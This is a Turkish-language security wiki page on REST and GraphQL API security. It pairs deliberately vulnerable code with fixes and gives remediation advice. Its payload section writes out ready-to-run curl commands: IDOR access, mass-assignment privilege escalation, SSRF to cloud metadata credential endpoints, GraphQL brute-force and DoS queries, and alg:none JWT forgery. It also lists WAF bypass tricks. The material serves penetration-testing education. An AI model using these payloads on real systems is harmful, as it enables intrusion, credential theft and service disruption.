AltaySec Wiki › API Security (REST & GraphQL)   ·   AltaySec Araştırmalar

API Security (REST & GraphQL)

root@altaysec:~# whoami
> Yazar: Nurettin Ünal

API (Application Programming Interface) güvenliği; modern web, mobil, mikroservis ve entegrasyon tabanlı sistemlerin güvenlik omurgasını oluşturur. Geleneksel monolitik mimarilerde sunucu tarafında oluşturulan (Server-Side Rendered) sayfalar yerine, günümüzde istemci (SPA, Mobil, IoT) ile sunucu arasında JSON veya XML tabanlı veri transferi yapılmaktadır. Bu mimari değişim, uygulamanın tüm iş mantığını (Business Logic), veri erişim modelini, kimlik doğrulama/yetkilendirme zincirini ve hassas veri işleme süreçlerini doğrudan API katmanına taşımıştır.

REST (Representational State Transfer) ve GraphQL, modern sistemlerde en çok tercih edilen iki operasyonel modeldir. REST, çoğunlukla URI'lar (örn: /api/v1/users/123), HTTP metodları (GET, POST, PUT, DELETE) ve statik endpoint'ler üzerinden kaynak (resource) yönetimi yapar. Savunma ve saldırı yüzeyi genellikle "Endpoint-Level"dır.

GraphQL ise istemcinin veri modelini ve ilişkilerini esnekçe sorgulamasına olanak tanıyan bir sorgu dilidir. Tek bir endpoint (genellikle /graphql) üzerinden çalışır ve arkasında çok katmanlı bir tip sistemi (Type System), ilişkisel şema (Schema) ve çözümleyici (Resolver) hiyerarşisi barındırır. Bu durum, GraphQL'de güvenliğin "Endpoint-Level" yerine "Field/Resolver-Level" ve "AST (Abstract Syntax Tree) Complexity" düzeyinde ele alınmasını zorunlu kılar.

Red Team ve Exploit Developer perspektifinden API'ler, uygulamanın kalbine giden en doğrudan vektördür. Zafiyetler genellikle klasik bellek yolsuzluğu (Memory Corruption) hatalarından ziyade; durumsuz (stateless) protokol doğası, karmaşık JSON/XML ayrıştırıcı (Parser) farklılıkları, çok kiracılı (Multi-Tenant) ortamlardaki izolasyon hataları ve JWT/OAuth gibi token tabanlı mekanizmaların yanlış yapılandırılması sonucu ortaya çıkar. API zafiyetleri yalnızca veri sızıntısına değil, ödeme manipülasyonlarına, yatay/dikey ayrıcalık yükseltmelerine (Privilege Escalation) ve zincirleme SSRF/RCE saldırılarına zemin hazırlar.

How It Works (Teknik Analiz)

API güvenliğini ve zafiyetlerin kök nedenlerini (Root Cause) anlamak için, bir HTTP/gRPC isteğinin uçtan uca ağ ve uygulama katmanındaki yaşam döngüsünü milisaniye düzeyinde incelemek gerekir.

  1. Transport & Ingress: İstemci, HTTP/1.1, HTTP/2 (veya gRPC) üzerinden TLS ile şifrelenmiş isteği gönderir. İstek, Load Balancer veya API Gateway (Kong, Apigee, Nginx) tarafından karşılanır. Burada TLS sonlandırması (TLS Termination), Rate Limiting, IP Allow/Deny listeleri ve temel WAF kuralları işletilir.
  2. Routing & Parsing: İstek, backend framework'üne (Express, Spring, FastAPI) ulaşır. Router, URI'yi eşleştirir. Parser'lar HTTP Body'sini (JSON, XML, Multipart, Protobuf) okur ve bellekte ilgili nesnelere (Dictionary, Struct, Object) dönüştürür. Zafiyet noktası: Parser uyumsuzlukları, HPP (HTTP Parameter Pollution), Unicode normalizasyon hataları burada başlar.
  3. Authentication (Kimlik Doğrulaması): İstek başlığındaki (Headers) token (JWT, Session Cookie, Bearer Token, API Key) doğrulanır. İstemcinin "Kim" olduğu belirlenir.
  4. Authorization (Yetkilendirme): Sistem, doğrulanan kimliğin, talep edilen URI'ye, metoda veya işleme yetkisi olup olmadığını kontrol eder. Zafiyet noktası: BFLA (Broken Function Level Authorization) burada oluşur.
  5. Data Binding & DTO (Data Transfer Object): Gelen payload, uygulama içindeki iş modellerine bağlanır (Mass Assignment zafiyetlerinin kök nedeni).
  6. Business Logic & ORM/Database Query: İş mantığı çalıştırılır, veritabanına SQL/NoSQL sorguları atılır. Zafiyet noktası: BOLA/IDOR, tenant izolasyon ihlalleri, SQLi/NoSQLi burada meydana gelir. Veri katmanı, nesnenin gerçek sahibini kontrol etmezse sızıntı başlar.
  7. Serialization & Response: Veritabanından dönen model, istemciye gönderilmek üzere JSON/XML'e dönüştürülür. Zafiyet noktası: Excessive Data Exposure (Aşırı Veri İfşası) burada gerçekleşir; gizli alanlar (şifre hashleri, internal ID'ler) filtrelenmeden dışarı sızar.

GraphQL özelinde akış daha karmaşıktır. İstek Query veya Mutation olarak gelir. Sunucu bu string'i alır, Lexer ve Parser yardımıyla bir AST (Abstract Syntax Tree) oluşturur. Ardından AST, tanımlı şema (Schema) ile doğrulanır (Validation Phase). Geçerliyse, Execution Phase başlar ve AST'deki her düğüm (Node) için ilgili Resolver fonksiyonu çağrılır. Her resolver'ın kendi yetkilendirme kontrolünü yapması gerekir; yapmazsa iç içe geçmiş (nested) sorgularda veri sızıntısı oluşur.

Vulnerable Code Patterns

API mimarilerinde en sık karşılaşılan güvenlik zafiyetlerinin kod seviyesindeki karşılıkları ve güvenli onarım yöntemleri aşağıda detaylandırılmıştır.

1. Node.js / Express - BOLA (Broken Object Level Authorization)

Güvensiz Pattern: Veritabanı sorgusu, yalnızca istemciden gelen req.params.id değerine güvenir. Kullanıcının (token sahibi) bu verinin sahibi olup olmadığı (Ownership) kontrol edilmez.

// Güvensiz: Sahiplik kontrolü yok. Herhangi bir geçerli token sahibi, başkasının siparişini görebilir.
app.get('/api/orders/:id', async (req, res) => {
  const order = await db.order.findUnique({
    where: { id: req.params.id }
  });

  if (!order) return res.status(404).json({ error: 'Order not found' });
  return res.json(order);
});

Güvenli Pattern: Sorguya, kimliği doğrulanmış kullanıcının bağlamı (req.user.id) ve gerekiyorsa çoklu kiracı bağlamı (req.user.tenantId) eklenerek "Object-Level" yetkilendirme sağlanır.

// Güvenli: Sahiplik ve tenant (kiracı) bağlamı veritabanı sorgusuna (Data Access Layer) gömülmüştür.
app.get('/api/orders/:id', async (req, res) => {
  const order = await db.order.findFirst({
    where: {
      id: req.params.id,
      customerId: req.user.id,     // Sahiplik doğrulaması
      tenantId: req.user.tenantId  // Yatay izolasyon (Multi-Tenant)
    },
    select: { id: true, total: true, status: true } // Sadece gerekli alanlar (Excessive Data Exposure önlemi)
  });

  if (!order) return res.status(404).json({ error: 'Order not found' });
  return res.json(order);
});

2. Java / Spring Boot - Broken Function Level Authorization (BFLA)

Güvensiz Pattern: Endpoint rotasında "admin" geçmesine rağmen, Spring Security seviyesinde method-level yetkilendirme (örn: @PreAuthorize) unutulmuştur. Global config'de sadece "authenticated" olması yeterli görülmüştür.

// Güvensiz: Kullanıcı giriş yapmışsa (Principal varsa), bu endpoint'i tetikleyebilir.
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id, Principal principal) {
    userService.deleteUser(id);
    return ResponseEntity.noContent().build();
}

Güvenli Pattern: Method seviyesinde kesin rol kontrolü yapılır ve iş mantığında (Service Layer) hedefin silinebilirliği (Self-delete prevention, tenant check) doğrulanır.

// Güvenli: Method seviyesinde yetkilendirme ve Service katmanında detaylı policy kontrolü.
@PreAuthorize("hasAuthority('ADMIN_USER_DELETE')")
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id, Authentication auth) {
    userService.deleteUserWithPolicyCheck(id, auth);
    return ResponseEntity.noContent().build();
}

// Service Layer
public void deleteUserWithPolicyCheck(Long targetUserId, Authentication auth) {
    AppUser actor = (AppUser) auth.getPrincipal();
    if (actor.getId().equals(targetUserId)) throw new IllegalStateException("Self-delete forbidden");
    repository.deleteByIdAndTenantId(targetUserId, actor.getTenantId());
}

3. Python / FastAPI - Mass Assignment (Auto-Binding)

Güvensiz Pattern: İstemciden gelen JSON payload'u, doğrudan veritabanı nesnesinin niteliklerine (attributes) atanır. İstemci is_admin: true gönderirse, sistem bunu kabul eder.

# Güvensiz: Gelen tüm key-value ikilileri modele dinamik olarak basılıyor.
@app.patch("/api/profile")
def update_profile(payload: dict, current_user=Depends(auth_user)):
    for key, value in payload.items():
        setattr(current_user, key, value) # Tehlikeli: is_admin, role, balance değişebilir
    db.session.commit()
    return current_user

Güvenli Pattern: DTO (Data Transfer Object) mimarisi kullanılarak Pydantic allowlist modeli oluşturulur. Sadece izin verilen alanların güncellenmesine izin verilir.

# Güvenli: Pydantic ile kesin şema denetimi ve açık allowlist.
from pydantic import BaseModel, EmailStr

class ProfileUpdateRequest(BaseModel):
    display_name: str | None = None
    phone: str | None = None

@app.patch("/api/profile")
def update_profile(payload: ProfileUpdateRequest, current_user=Depends(auth_user)):
    if payload.display_name is not None:
        current_user.display_name = payload.display_name
    if payload.phone is not None:
        current_user.phone = payload.phone
    db.session.commit()
    return {"id": current_user.id, "display_name": current_user.display_name}

4. GraphQL - Resolver Level Authorization Bypass

Güvensiz Pattern: GraphQL endpoint'i genelde global bir Authentication middleware'i ile korunur. Ancak invoice resolver'ı nesne sahibini kontrol etmez. Şema üzerinden başka ID verildiğinde başkasının faturası döner.

// Güvensiz: Kullanıcı giriş yapmış ama istenen nesnenin ona ait olduğu kontrol edilmiyor (GraphQL BOLA).
const resolvers = {
  Query: {
    invoice: async (_, { id }, ctx) => {
      // ctx.user doğrulanmış olabilir ama nesne sahipliği yok
      return ctx.db.invoice.findUnique({ where: { id } });
    }
  }
};

Güvenli Pattern: Her resolver, kendi içindeki Context (ctx) üzerinden erişim modelini (Data Access Policy) işletmek zorundadır.

// Güvenli: Resolver seviyesinde bağlamsal (Contextual) yetkilendirme.
const resolvers = {
  Query: {
    invoice: async (_, { id }, ctx) => {
      if (!ctx.user) throw new Error('Unauthenticated');
      return ctx.db.invoice.findFirst({
        where: {
          id: id,
          customerId: ctx.user.id,     // Kesin sahiplik
          tenantId: ctx.user.tenantId  // İzole kiracı alanı
        }
      });
    }
  }
};

5. JWT (JSON Web Token) - Insecure Verification

Güvensiz Pattern: verify fonksiyonu çağrılırken algoritma kısıtlaması (Algorithm Allowlist) yapılmamıştır. {"alg": "none"} veya Asimetrik anahtar yerine Simetrik anahtar (HS256) karmaşası (CVE-2015-9235) yaşanabilir.

// Güvensiz: Algoritma dayatması yok, Issuer/Audience kontrolü yok.
const decoded = jwt.verify(token, publicKey);

Güvenli Pattern: Kriptografik standartlar açıkça dikte edilir.

// Güvenli: Explicit verification policy (Açık doğrulama politikası).
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // Yalnızca RSA kabul et, HMAC bypassını engelle
  issuer: 'https://auth.example.com',
  audience: 'api://backend-service',
  clockTolerance: 5 // Zaman kaymalarına karşı pay
});

Detection & Enumeration (Keşif ve Analiz)

Modern API'lerde keşif süreci, sadece dizin taramaktan ibaret değildir. Amaç; veri modelini, tip sistemlerini, rol matrisini (Role Matrix), kimlik doğrulama mekanizmalarını, parser davranışlarını ve hata mesajlarının karakteristiğini tersine mühendislikle ortaya çıkarmaktır.

1. Endpoint Inventory ve Surface Mapping (Yüzey Haritalama) Uygulamanın aktif, pasif (deprecated), test ve admin endpoint'lerini bulmak ilk aşamadır.

2. Authentication Analizi Auth yapısı; Stateful (Session/Cookie) mu yoksa Stateless (JWT/Opaque Token) mu? API Key mi kullanılıyor?

3. Authorization Matrix Karşılaştırması (Rol Tabanlı Fuzzing) Farklı yetkilere sahip hesaplar (Anonim, User_A, User_B, Tenant_A_User, Admin) ile aynı endpoint'lere çapraz istekler gönderilerek HTTP 401, 403, 404, veya 200 dönüp dönmediği analiz edilir.

4. Error Handling ve Side-Channel Analizi Sistemin hatalara verdiği tepkiler (Stack Trace sızıntıları, DB hata mesajları) WAF kurallarını aşmak ve arka plan mimarisini anlamak için kritik veriler sunar.

5. GraphQL Introspection ve Schema Discovery GraphQL yapılarında en büyük keşif aracı Introspection sorgularıdır. Şema ifşası açıksa, tüm Type, Field, Query ve Mutation'lar saniyeler içinde dökülür. İntrospection kapalıysa, Fuzzing ve Error-based çıkarımlarla şema haritalanır.

Attack Vectors & Exploitation (İstismar Vektörleri)

API güvenliğinde istismar vektörleri, genellikle OWASP API Security Top 10 (2023) etrafında şekillenir. Aşağıda Red Team operasyonlarında sahada karşılaşılan tüm varyasyonlar teknik derinlikle ele alınmıştır.

Broken Object Level Authorization (BOLA / IDOR)

API1:2023. Sistem, nesneye erişim talep edildiğinde (ID üzerinden) nesnenin mülkiyetini kontrol etmez.

Broken Function Level Authorization (BFLA)

API5:2023. Sistemin işlevsel (Fonksiyonel) seviyede yetkiyi doğrulamamasıdır.

Broken Object Property Level Authorization (Mass Assignment & Excessive Data Exposure)

API3:2023. API endpoint'inin, nesnenin sadece belirli özelliklerine (property) değil, tamamına açık erişim veya yazma izni vermesidir.

Unrestricted Resource Consumption (DoS / Hız Sınırı Atlatma)

API4:2023. API'nin CPU, Bellek, Ağ ve Storage kaynaklarının suistimal edilmesidir. Sadece bant genişliği DoS'u değil, uygulama katmanı iş mantığı tükenmişliğidir.

Server-Side Request Forgery (SSRF) in APIs

API7:2023. Webhook'lar, PDF/Resim oluşturucular, URL Preview özelliklerinin suistimali ile API sunucusunun iç ağa (Intranet) veya bulut Meta-Data servislerine istek yapmaya zorlanmasıdır.

Security Misconfiguration & Improper Inventory

API8:2023 / API9:2023.

Token Security Failures (JWT & OAuth)

API2:2023 (Broken Authentication).

GraphQL Specific Attack Vectors

GraphQL'in doğası gereği REST'te olmayan çok kritik zafiyet vektörleri mevcuttur.

Payloads & Advanced Commands

Bu bölümde Sızma Testi ve Red Team operasyonlarında doğrudan kullanılabilecek, gelişmiş tespit ve istismar komutları yer almaktadır.

REST BOLA & AuthZ Payloads

BOLA testi için aynı yetki seviyesinde veya farklı tenant'ta iki token kullanılarak karşılaştırma yapılır.

# Değişken tanımlamaları (Token A ve Token B farklı kullanıcılara aittir)
export TOKEN_A="eyJhbGci..."
export TOKEN_B="eyJhbGci..."
export TARGET_ID="1005" # Token A'nın sahibi olduğu kaynak

# 1. Kaynak sahibinin normal erişimi (Kontrol)
curl -s -X GET "https://api.target.com/v1/invoices/$TARGET_ID" \
  -H "Authorization: Bearer $TOKEN_A" | jq .

# 2. BOLA Testi: Token B ile Token A'nın kaynağına erişim (Cross-User IDOR)
curl -s -X GET "https://api.target.com/v1/invoices/$TARGET_ID" \
  -H "Authorization: Bearer $TOKEN_B" | jq .

# 3. HTTP Method Değiştirme (BFLA Testi) - Salt okunur yetki ile Silme denemesi
curl -i -X DELETE "https://api.target.com/v1/invoices/$TARGET_ID" \
  -H "Authorization: Bearer $TOKEN_B"

Mass Assignment Payloads

Kayıt veya profil güncelleme endpoint'lerinde gizli alanların enjekte edilmesi.

# Orijinal Request (Sadece ad güncelleniyor)
curl -s -X PATCH https://api.target.com/api/profile \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"display_name":"Hacker"}'

# Mass Assignment Injection 1 (Rol/Ayrıcalık Yükseltme)
curl -s -X PATCH https://api.target.com/api/profile \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"display_name":"Hacker","role":"admin", "is_admin":true}'

# Mass Assignment Injection 2 (Tenant Değiştirme / Bakiye Manipülasyonu)
curl -s -X PATCH https://api.target.com/api/profile \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"tenant_id":"1","account_balance":999999}'

Pagination & Filtering Abuse Payloads

Aşırı kaynak tüketimi (DoS) veya Veritabanı Full Scan tetiklemeleri.

# Limit Abuse (Max int veya yüksek değerler)
curl -i "https://api.target.com/api/users?limit=999999999&offset=0" \
  -H "Authorization: Bearer $TOKEN"

# Array based pollution
curl -i "https://api.target.com/api/products?id=1&id=2&id=3&id=4..." \
  -H "Authorization: Bearer $TOKEN"

# Wildcard / Regex DoS (ReDoS) denemesi (Arama filtrelerinde)
curl -i "https://api.target.com/api/search?q=^([a-zA-Z0-9])+\s+$" \
  -H "Authorization: Bearer $TOKEN"

GraphQL Introspection & Schema Extraction

GraphQL şemasını çekmek ve JSON formatında bilgisayara kaydetmek için.

# Full Introspection Query (Modern Format)
curl -s -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } }"
  }' | jq . > schema_dump.json

GraphQL Depth & Alias Abuse Payloads

GraphQL motorunu kilitlemek veya Rate Limit'leri atlatmak.

# Depth Attack (Circular Reference DoS)
curl -s -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"query { user(id:1) { posts { author { posts { author { posts { id } } } } } } }"}'

# Alias Abuse (Brute Force / Rate Limit Bypass)
# Aynı Query içinde 100 kere login denemesi yaparak WAF/RateLimit aşma.
curl -s -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { 
    brute1: login(username:\"admin\",password:\"123456\"){token} 
    brute2: login(username:\"admin\",password:\"password\"){token} 
    brute3: login(username:\"admin\",password:\"qwerty\"){token} 
    brute4: login(username:\"admin\",password:\"admin\"){token} 
  }"}'

SSRF (Server-Side Request Forgery) Payloads

Bulut ortamları ve Localhost hedeflenerek Out-of-Band (OOB) veya direkt veri çekme.

# AWS Metadata Endpoint (IMDSv1)
curl -s -X POST https://api.target.com/api/webhooks/create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"webhook_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-role"}'

# Google Cloud Metadata (Özel Header gerektirir, SSRF bypass teknikleri ile birleştirilir)
# Bazen SSRF noktası header eklemeye izin verebilir.
curl -s -X POST https://api.target.com/api/fetch_image \
  -H "Content-Type: application/json" \
  -d '{"image_url":"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

# Local Port Scanning via SSRF (Time-based kör SSRF)
# Eğer dönen süre > 1sn ise port kapalı, < 0.1sn ise port açık çıkarımı yapılabilir.
curl -s -X POST https://api.target.com/api/preview \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:22"}'

JWT Manipulation Commands

JWT'nin terminal üzerinden hızlıca parse edilmesi ve algoritma bypass payload'u.

# JWT Decode (Header, Payload, Signature ayırma) - Python One-Liner
export JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJyb2xlIjoidXNlciJ9.signature_part_here"

python3 -c "import sys, base64, json; token=sys.argv[1].split('.'); print('\nHEADER:\n', json.dumps(json.loads(base64.urlsafe_b64decode(token[0] + '==')), indent=2)); print('\nPAYLOAD:\n', json.dumps(json.loads(base64.urlsafe_b64decode(token[1] + '==')), indent=2))" "$JWT"

# "None" Algorithm Payload üretme (İmza kısmı boş bırakılır)
export HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-')
export PAYLOAD=$(echo -n '{"sub":"123","role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-')
export MALICIOUS_JWT="$HEADER.$PAYLOAD."
echo "Zararlı JWT: $MALICIOUS_JWT"

Automated Discovery & Fuzzing Commands

API dizinleri ve BOLA noktalarını tespit etmek için ffuf kullanımı.

# API Endpoint Discovery (Wordlist tabanlı)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -u https://api.target.com/FUZZ \
  -H "Authorization: Bearer $TOKEN" \
  -mc 200,401,403 -c

# ID Fuzzing (BOLA Testi) - 1'den 1000'e kadar ID dener
ffuf -w <(seq 1 1000) -u https://api.target.com/api/v1/orders/FUZZ \
  -H "Authorization: Bearer $TOKEN" \
  -mc 200 -c -fl 50 # 50 satırlık standart 404/Yetkisiz yanıtlarını filtrele (Filter Lines)

Bypass & Obfuscation (Atlatma Teknikleri)

API Gateways, WAF (Web Application Firewall) veya IDS/IPS (Intrusion Detection Systems) mekanizmalarını atlatmak için çeşitli parser karmaşalarından (Parser Confusion) yararlanılır.

1. HTTP Parameter Pollution (HPP) Birçok API framework'ü aynı parametre birden fazla kez gönderildiğinde farklı tepkiler verir.

2. Duplicate JSON Keys (JSON Parser Confusion) JSON RFC'sine göre aynı anahtarın tekrarı belirsizdir. Çoğu modern parser sondakini ezberler. Yetkilendirme middleware'i ilk user_id'ye bakarken, Data Access Layer son user_id'yi işleyebilir.

{
  "user_id": 1, 
  "amount": 50,
  "user_id": 888 
}

3. Type Juggling / Normalization Gaps Sistem "string" beklerken "array" veya "boolean" göndermek, zayıf dillerde (PHP, eski Node.js) filtreleri veya limit mekanizmalarını bozabilir. Büyük/Küçük harf (Case Sensitivity) farklılıkları (Örn: admin yerine Admin, ADMIN) rolleri mapleyen basit Regex'leri kırabilir. Aynı şekilde Unicode normalizasyon hataları (URL encoded %ef%bc%8f gibi karakterlerin içerde / slash'a dönüşmesi) Path Traversal veya BFLA bypass sağlayabilir.

4. Line-Feed / Carriage Return (CRLF) Injection in Headers WAF veya proxy kurallarını bypass etmek için, JWT token'ın veya header değerlerinin sonuna \n, \r\n (%0d%0a) eklemek. Gateway bunu zararsız görebilir ancak arka plandaki parser bunu işlerken komut enjeksiyonuna (Header Splitting) mahal verebilir.

5. GraphQL Obfuscation (WAF Bypass) GraphQL sorgularını yakalayan WAF'ları atlatmak için boşluk, satır sonu ve Fragment kullanımı:

# WAF "system" kelimesini yakalıyorsa Fragment ile gizleme:
query {
  ... on User {
    sy
    ... on Fragment2 {
      stem { id }
    }
  }
}

Remediation & Prevention (Önleme ve Savunma)

API güvenliğinde kalıcı savunma; "Yama (Patch)" mantığından ziyade "Politika Odaklı Mimari (Policy-Driven Architecture)" kurularak sağlanır. Zero Trust (Sıfır Güven) prensibi her katmanda işletilmelidir.

1. Merkezi ve Bağlamsal Yetkilendirme (Centralized Server-Side AuthZ)

2. Güçlü Girdi Doğrulaması (Strict Input Validation) ve Şema Dayatması

3. GraphQL Hardening (Sertleştirme)

4. Kaynak Tüketimi ve Rate Limiting (Hız Sınırlandırma)

5. Güvenli Token Yönetimi

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Postman REST istek koleksiyonları, auth akışları, environment yönetimi postman collection run api-tests.postman_collection.json
Burp Suite Proxy, repeater, comparer, API keşfi ve response diff analizi java -jar burpsuite_pro.jar
OWASP ZAP API tarama, pasif/aktif kontroller, OpenAPI import zap.sh -cmd -addonupdate
mitmproxy Mobil/web trafik gözlemi ve response manipulation analizi mitmproxy -p 8080
ffuf API Fuzzing, Directory Brute-Force, BOLA test otomasyonu ffuf -w wordlist.txt -u https://api.com/FUZZ
k6 Rate limit, throttle, DoS ve kaynak dayanıklılık testi k6 run rate_limit_check.js
GraphQL Voyager Şema görselleştirme ve karmaşık ilişki AST analizi graphql-voyager
Apollo Studio (Rover) GraphQL schema introspection ve subgraph analizi rover graph introspect https://api.example.com/graphql
Swagger UI / CLI REST sözleşmesi, security scheme ve endpoint inventory doğrulama swagger-cli validate openapi.yaml
Schemathesis OpenAPI tabanlı property-based (Fuzzing) API güvenlik testleri schemathesis run openapi.yaml --base-url=https://api.com
Spectral OpenAPI linting, güvenlik standartları (Hardening) ve sözleşme kuralları spectral lint openapi.yaml
Semgrep Kaynak kod içinde BOLA, Mass Assignment, AuthZ ve güvensiz pattern arama semgrep --config auto .
Open Policy Agent (OPA) Merkezi authorization/policy enforcement ve Policy-as-Code değerlendirmesi opa eval -d policy.rego 'data.api.allow'
JWT Tool JWT analizi, algoritma bypass ve brute-force operasyonları jwt_tool.py <TOKEN> -I -pc <WORDLIST>

Yazar: Nurettin Ünal · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv